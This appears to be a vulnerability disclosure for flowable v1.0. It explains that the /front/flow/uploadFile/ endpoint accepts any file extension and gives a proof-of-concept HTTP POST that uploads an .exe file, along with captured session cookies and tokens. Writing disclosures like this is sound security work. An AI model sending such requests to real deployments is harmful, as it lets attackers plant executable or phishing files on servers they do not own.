[Vulnerability]Arbitrary File Upload

# **Arbitrary File Upload in flowable v1.0 via /front/flow/uploadFile/ Due to Insecure Extension and Content-Type Validation**

Vulnerability file: \flow-master\flow-front-rest\src\main\java\com\dragon\flow\web\resource\flow\FormResource.java

![image-20260109134748818](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260109134748818.png)

Follow up on the implementation of store

![image-20260109151315566](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260109151315566.png)

Follow up with the generateKey method, which only acquires the suffix but does not make a legal judgment on it. This leads to an arbitrary file upload vulnerability

![image-20260109151244590](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260109151244590.png)

Follow up on the getcontentType method and determine the type within getcontentType。This method is only for setting the Content-Type type in the return package

![image-20260109151412309](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260109151412309.png)

POC：

```
POST /front/flow/uploadFile/ HTTP/1.1
Host: localhost:8990
sec-ch-ua-platform: "Windows"
Authorization: 3A9EA7F5A20040EF8DFA673143FBC9FB
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
sec-ch-ua: "Not_A Brand";v="99", "Chromium";v="142"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8990/
Accept-Encoding: gzip, deflate, br
Cookie: rememberMe=ZVUVq7Nodd3uLVfuVxbSmw9RoKD3+28a/D3h7BUiLJe471y06u96Y6AGAWAZ7qa6jcP8UVtKlsO40iNX4f2jTDvouZdm93hxOUJLnXmwxCc8HWNQ6b870sUhiV6Y8B7Gp0nT6YnQZqZYHFgP+K8XAShgmNQ06Ti91e3UyE3V/kc57HAv80fRRDgZmU1qZeQQ0VkNm2L/B3oMzGRFvZIxbpfXOWpvijYRxtVPRlfcmi4YvOJz36eN3fypaq8gYMlXPlLw890UQkgnueA82zbMnuTvRMYXWsEwvFQjbUzk7r5haygbHqD6Q88eGxnXXBl+BBIMYrztkNkRGXl8H/F551BN/C2AWqXkM057Waom+WF3oK7i2hN2cH05xanxpTcJytYACF+EIzK6+x6aW21jOQUdd76R5zcZjtZu3RntVNLw3T8jLCMTSZcZTf+KpAM+p6mKbQTajPiVqFKFlCPET+vLv2BoJR8HuyLOH5feD9AYA8cZvoN6rj5NFJoeTH5NsXXhNvEXM4WXiyqP5uxnnKyOb8V2PimNIK1ZA2TVS+3ep0wGEWWqwYyf0UbXoitq3NcTn1jX5jWJNcffmECzcVh3v5CmvvP54w017bKZRhZCPuyMcqza5QlqvFacPCD6QQkfgHo7JIXxsJr25jMzAjDgoVbG98Fvqehft07O/nDEaxKeMEvOqyw1iFg0qUuAwe4K0hbIcGlwmogA9knlea+yNqL/0+HmKIKfJncQF9rYuQpreCYI1h3IkWpEOGF2IGtXXSf+Tc+FtgrvCWL+UMeGT6Kume2oObP/PaoblIwPPg/1LOAcqckhMblwncydeRqVU93aQ6kuB+F5irq5JJGWv0OFXKvbVKMXYYqbRmx8i/pXDxY7vjI3NYr9brEbtLsYKuC04rwPLg54S0JQKEgBfoVwhlAoTFH5wcCv9IRAAnHIv/7G9CEoDReIHwykxVi1WnOyfXC2S/32IyiPMCPJ14sLNG5KzBr0Ev+zYxrTIkIZSr+4bquelx2f0yd/0uDuARYg9m70Ymx6f1so3LMO980AOreYfS9FMMrNtKiO/2mpkcrM21fXfHO0s2DaxMS3ky31+eXOJb8oFv5sKO9QJo0WdEGi6plMxFkSZXds39CLXQTW68CnzK/d4nJfEMTNxsHPvZzRTuQuwmOL/K7jZXOTn89YC+fZuG+mD1tCxkmtgKUwxhf5Z58Kr+qoaZGCPCu6azcOzBuoPcIGiD1VZJDy3pLw/rGbOk7tNnYWAfPLzkhlQl8QZ8x+65CDHF86T7xUSc39uv00j8nyehh9Velb+e//IeqMb20sp8SzOFoCvw5jSvxSmWUCjpuFPAB8Qm5N1I2bN1+foIQtI17ZgLI/SJtDOKxNGl3hKbe4pSmw5TvgpVwVnRMDSYiMY14AItl6HU7mNu4Gv7Xw9kO1kz8Z7fZPpkyLoE+5mShpjjWNhWYVN2sZJmmDfmyjDl0alyza8iHno85Er/zb/06NeXPO4QyNI7Cst5is7KRV; pb-cms-username=test; pb-cms-qq=; pb-cms-email=; flowtoken=9a2dbcff-b346-4f99-a22f-85d2a4558c35; rest-api-token=eyJhbGciOiJIUzUxMiJ9.eyJuYW1lIjoi6Zeo5oi3IiwiaWQiOiIxMzc2OTE5MjU0ODcyMDM1MzMwIiwic3ViIjoiZmxvdyByc2Egand0IiwiaWF0IjoxNzY3OTM3ODA3LCJleHAiOjE3Njc5NDUwMDcsImp0aSI6IjEzNzY5MTkyNTQ4NzIwMzUzMzAiLCJpc3MiOiLpl6jmiLciLCJvZyI6IjEifQ.OtASn58bmrpFNV5Gvc_rG5KGONbxwCjGP_HGgfTF-mb6xmqFhu5Iogjvo5H0w_X3g0Us6Hq1cT5XGDCeeJWVyA; JSESSIONID=3A9EA7F5A20040EF8DFA673143FBC9FB
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGQghAJhA5Do3Jmtl
Content-Length: 180

------WebKitFormBoundaryGQghAJhA5Do3Jmtl
Content-Disposition: form-data; name="file"; filename="1.exe"

Malicious phishing file
------WebKitFormBoundaryGQghAJhA5Do3Jmtl--
```

![image-20260109151454202](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260109151454202.png)

![image-20260109151526406](https://raw.githubusercontent.com/MaoQiuJun/Vul_pic/main/img/image-20260109151526406.png)

bruce/flowable

内容风险标识

评论 (0)

bruce/flowable .gitee-modal { width: 500px !important; }

内容风险标识